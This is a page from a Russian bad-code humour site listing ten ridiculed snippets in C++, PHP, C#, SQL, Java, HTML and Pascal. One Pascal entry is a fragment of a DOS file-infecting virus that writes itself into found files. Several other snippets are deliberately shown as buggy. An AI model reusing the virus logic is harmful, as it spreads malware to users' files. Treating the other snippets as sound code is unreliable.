1. Лучший говнокод

    В номинации:
    За время:
  2. C++ / Говнокод #11578

    +18

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    template <typename TYPE> class Ptr
    {
    public:
        Ptr():
            Pointer_(0),
            IsValid_(false)
        {
        }
        Ptr( const Ptr<TYPE> &other )
        {
            this->Pointer_ = other.Pointer_;
            this->IsValid_ = other.IsValid_;
        }
        Ptr( TYPE* &ptr ):
            IsValid_(true)
        {
            if ( std::find( Ptr<TYPE>::List_.begin(), Ptr<TYPE>::List_.end(), ptr ) == Ptr<TYPE>::List_.end() )
                Ptr<TYPE>::List_.push_back( ptr );
            this->Pointer_ = ptr;
        }
        ~Ptr()
        {
        }
    
        inline Ptr<TYPE>& operator = ( const Ptr<TYPE> &other )
        {
            this->Pointer_ = other.Pointer_;
            this->IsValid_ = other.IsValid_;
    
            return *this;
        }
    
        inline Ptr<TYPE>& operator = ( TYPE* &ptr )
        {
            if ( std::find( Ptr<TYPE>::List_.begin(), Ptr<TYPE>::List_.end(), ptr ) == Ptr<TYPE>::List_.end() )
                Ptr<TYPE>::List_.push_back( ptr );
    
            this->Pointer_ = ptr;
            this->IsValid_ = true;
    
            return *this;
        }
    
        inline bool operator == ( const Ptr<TYPE> &other )
        {
            return (this->Pointer_ == other.Pointer_) ? true:false;
        }
    
        inline bool operator != ( const Ptr<TYPE> &other )
        {
            return (this->Pointer_ != other.Pointer_) ? true:false;
        }
    
        inline TYPE* operator -> ()
        {
            return this->Pointer_;
        }
    
        inline bool isValid() const
        {
            if (!this->IsValid_)
                return false;
            return this->IsValid_ = ( (std::find( Ptr<TYPE>::List_.begin(), Ptr<TYPE>::List_.end(), this->Pointer_ ) == Ptr<TYPE>::List_.end() ) ? false:true );
        }
    
        inline void release()
        {
            if ( this->isValid() )
            {
                Ptr<TYPE>::List_.erase( std::find( Ptr<TYPE>::List_.begin(), Ptr<TYPE>::List_.end(), this->Pointer_ ) );
                delete this->Pointer_;
            }
    
            this->Pointer_ = 0;
            this->IsValid_ = false;
        }
    
        inline TYPE* get()
        {
            return this->Pointer_;
        }
    private:
        TYPE* Pointer_;
        mutable bool IsValid_;
    
        static std::list < TYPE* > List_;
    };
    
    template <typename TYPE> std::list < TYPE* > Ptr<TYPE>::List_;

    HaskellGovno, 12 Августа 2012

    Комментарии (34)
  3. Куча / Говнокод #11553

    +139

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    <HEADER>
    <TITLE>The World Wide Web project</TITLE>
    <NEXTID N="55">
    </HEADER>
    <BODY>
    <H1>World Wide Web</H1>The WorldWideWeb (W3) is a wide-area<A
    NAME=0 HREF="WhatIs.html">
    hypermedia</A> information retrieval
    initiative aiming to give universal
    access to a large universe of documents.<P>
    Everything there is online about
    W3 is linked directly or indirectly
    to this document, including an <A
    NAME=24 HREF="Summary.html">executive
    summary</A> of the project, <A
    NAME=29 HREF="Administration/Mailing/Overview.html">Mailing lists</A>
    , <A
    NAME=30 HREF="Policy.html">Policy</A> , November's  <A
    NAME=34 HREF="News/9211.html">W3  news</A> ,
    <A
    NAME=41 HREF="FAQ/List.html">Frequently Asked Questions</A> .
    <DL>
    <DT><A
    NAME=44 HREF="../DataSources/Top.html">What's out there?</A>
    <DD> Pointers to the
    world's online information,<A
    NAME=45 HREF="../DataSources/bySubject/Overview.html"> subjects</A>
    , <A
    NAME=z54 HREF="../DataSources/WWW/Servers.html">W3 servers</A>, etc.
    <DT><A
    NAME=46 HREF="Help.html">Help</A>
    <DD> on the browser you are using
    <DT><A
    NAME=13 HREF="Status.html">Software Products</A>
    <DD> A list of W3 project
    components and their current state.
    (e.g. <A
    NAME=27 HREF="LineMode/Browser.html">Line Mode</A> ,X11 <A
    NAME=35 HREF="Status.html#35">Viola</A> ,  <A
    NAME=26 HREF="NeXT/WorldWideWeb.html">NeXTStep</A>
    , <A
    NAME=25 HREF="Daemon/Overview.html">Servers</A> , <A
    NAME=51 HREF="Tools/Overview.html">Tools</A> ,<A
    NAME=53 HREF="MailRobot/Overview.html"> Mail robot</A> ,<A
    NAME=52 HREF="Status.html#57">
    Library</A> )
    <DT><A
    NAME=47 HREF="Technical.html">Technical</A>
    <DD> Details of protocols, formats,
    program internals etc
    <DT><A
    NAME=40 HREF="Bibliography.html">Bibliography</A>
    <DD> Paper documentation
    on  W3 and references.
    <DT><A
    NAME=14 HREF="People.html">People</A>
    <DD> A list of some people involved
    in the project.
    <DT><A
    NAME=15 HREF="History.html">History</A>
    <DD> A summary of the history
    of the project.
    <DT><A
    NAME=37 HREF="Helping.html">How can I help</A> ?
    <DD> If you would like
    to support the web..
    <DT><A
    NAME=48 HREF="../README.html">Getting code</A>
    <DD> Getting the code by<A
    NAME=49 HREF="LineMode/Defaults/Distribution.html">
    anonymous FTP</A> , etc.</A>
    </DL>
    </BODY>

    HTML первого в мире сайта, которому на днях исполнился 21 год.

    tirinox, 08 Августа 2012

    Комментарии (34)
  4. PHP / Говнокод #11444

    +63

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    private function lowercase($s) {
        $chars_hi = utf8_encode('ABCDEFGHIJKLMNOPQRSTUVWXYZАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯЁ');
        $chars_lo = utf8_encode('abcdefghijklmnopqrstuvwxyzабвгдежзийклмнопрстуфхцчшщъыьэюяё');
        return strtr($s, $chars_hi, $chars_lo);
    }

    Картина маслом: Велосипедист бьётся лбом о локали.
    Сие говно выдаёт нечто из греческого алфавита вместо 'ё'.

    vistefan, 19 Июля 2012

    Комментарии (34)
  5. C# / Говнокод #11252

    +138

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    public class ImageWorkerSingleton
    {
    	private static ImageWorkerSingleton instance;
    
    	private ImageWorkerSingleton() { }
    
    	public static ImageWorkerSingleton Instance
    	{
    		get
    		{
    			if (instance == null)
    			{
    				instance = new ImageWorkerSingleton();
    			}
    			return instance;
    		}
    	}
    
    	public void Init() {}
    
    	public string UrlToImage(Guid id, ImageTypeEnum imageType = ImageTypeEnum.PhotoUndefined)
    	{
    		...
    	}
    
    	public bool IsImageExist(Guid id, ImageTypeEnum imageType = ImageTypeEnum.PhotoUndefined)
    	{
    		...
    	}
    }

    И на кой, здесь синглтон о_О

    DarkThinker, 20 Июня 2012

    Комментарии (34)
  6. SQL / Говнокод #10979

    −78

    1. 1
    tg_hujak_v_zap_na_sklade

    Название триггера в промышленной системе.
    Hint: zap_na_sklade - таблица

    Xps, 16 Июня 2012

    Комментарии (34)
  7. Pascal / Говнокод #10539

    +102

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    { Infected it}
    BlockWrite(Go,PrograStart,Succ(VirusSize shr 7));
    Close(Go);
    { Say what has been done}
    WriteLn(UsePath +' infected.');
    Halt; {... and HALT the program}
    End;
    Close(Go);
    End;
    {The file has already been infected, search next}
    Reg.AH:=$4F;
    Reg.DS Seg(DTA);
    Reg.DX Ofs(DTA);
    MsDos(Reg)
    {... Until no more files found}
    Until Odd(Reg.Flags);
    Write(''); { Give a smile}
    End.

    http://www.liveinternet.ru/users/gafarov-91/post120984751/

    Вторая часть.

    dos_, 03 Июня 2012

    Комментарии (34)
  8. Java / Говнокод #10381

    +75

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    byte[] buf = new byte[8192];
    int len = 0;
    while ((len = is.read(buf))>0)
    {
        requestString += new String(buf, 0, len, "UTF-8");
    }

    Пока никто не кормил туда настоящий UTF-8. Только ascii.

    konsoletyper, 28 Мая 2012

    Комментарии (34)
  9. PHP / Говнокод #8467

    +151

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    // $reg_date = "12.12.2007 15:41";
    
    $this->reg_date = strptime($reg_date, "%d.%m.%Y %H:%M");
    
    // и теперь обратно. Казалось бы, все просто, ан нет!
    $rd = $this->reg_date;
    $reg_date = mktime($rd['tm_hour'], $rd['tm_min'], 0, $rd['tm_mon']+1, $rd['tm_mday'], 1900+$rd['tm_year']); //как это???
    $reg_date = strftime("%d.%m.%Y %H:%M", $reg_date);
    // нормально, у strptime и strftime порядок аргументов разный
    
    // $r_date == "12.12.2007 15:41"

    Попытался написать на PHP простенькую штуку, глаза на лоб полезли от того как там делаются элементарнейшие вещи. Скажите, что все можно сделать проще и я просто плохо читал документацию!

    hakimovis, 10 Ноября 2011

    Комментарии (34)
  10. C++ / Говнокод #8210

    +168

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    void __fastcall TForm1::ShowBits(unsigned char data)
    {
       if(data&0x1)ImBit0->Canvas->Brush->Color=0x0000FF00;
       else ImBit0->Canvas->Brush->Color=clRed;
       ImBit0->Canvas->FillRect(TRect(0,0,ImBit0->Width,ImBit0->Height));
       if(data&0x2)ImBit1->Canvas->Brush->Color=0x0000FF00;
       else ImBit1->Canvas->Brush->Color=clRed;
       ImBit1->Canvas->FillRect(TRect(0,0,ImBit1->Width,ImBit1->Height));
       if(data&0x4)ImBit2->Canvas->Brush->Color=0x0000FF00;
       else ImBit2->Canvas->Brush->Color=clRed;
    
       ImBit2->Canvas->FillRect(TRect(0,0,ImBit2->Width,ImBit2->Height));
       if(data&0x8)ImBit3->Canvas->Brush->Color=0x0000FF00;
       else ImBit3->Canvas->Brush->Color=clRed;
    
       ImBit3->Canvas->FillRect(TRect(0,0,ImBit3->Width,ImBit3->Height));
       if(data&0x10)ImBit4->Canvas->Brush->Color=0x0000FF00;
       else ImBit4->Canvas->Brush->Color=clRed;
    
       ImBit4->Canvas->FillRect(TRect(0,0,ImBit4->Width,ImBit4->Height));
    
       if(data&0x20)ImBit5->Canvas->Brush->Color=0x0000FF00;
       else ImBit5->Canvas->Brush->Color=clRed;
       ImBit5->Canvas->FillRect(TRect(0,0,ImBit5->Width,ImBit5->Height));
    
       if(data&0x40)ImBit6->Canvas->Brush->Color=0x0000FF00;
       else ImBit6->Canvas->Brush->Color=clRed;
       ImBit6->Canvas->FillRect(TRect(0,0,ImBit6->Width,ImBit6->Height));
    
       if(data&0x80)ImBit7->Canvas->Brush->Color=0x0000FF00;
       else ImBit7->Canvas->Brush->Color=clRed;
       ImBit7->Canvas->FillRect(TRect(0,0,ImBit7->Width,ImBit7->Height));
    }

    Отображение состояния битов байта

    absolut, 17 Октября 2011

    Комментарии (34)
  11. C++ / Говнокод #7912

    +171

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    static void tm_to_systemtime(const tm* pTime, LPSYSTEMTIME pSysTime )
    {
    	time_t timeT = mktime((tm*)pTime);
    	FILETIME fTime = {0},lTime = {0};
    	LONGLONG ll = Int32x32To64(timeT, 10000000) + 116444736000000000;
    	fTime.dwLowDateTime = (DWORD) ll;
    	fTime.dwHighDateTime = ll >>32;
    	FileTimeToLocalFileTime(&fTime,&lTime);
    	FileTimeToSystemTime(&lTime,pSysTime);
    }
    
    static std::string GetDateTimeString(const tm& activ)
    {
    	SYSTEMTIME sysTime = {0};
    	tm_to_systemtime(&activ,&sysTime);
    	char str[256];
    	//format to <YYYYMMDDHHMMSS>
    	sprintf_s(str,sizeof(str),"%04d%02d%02d%02d%02d%02d",sysTime.wYear,sysTime.wMonth,sysTime.wDay,sysTime.wHour,sysTime.wMinute,sysTime.wSecond);
    	return std::string(str);
    }

    далеко не самый скучный способ отформатировать ::tm в виде YYYYMMDDHHmmss

    defecate-plusplus, 20 Сентября 2011

    Комментарии (34)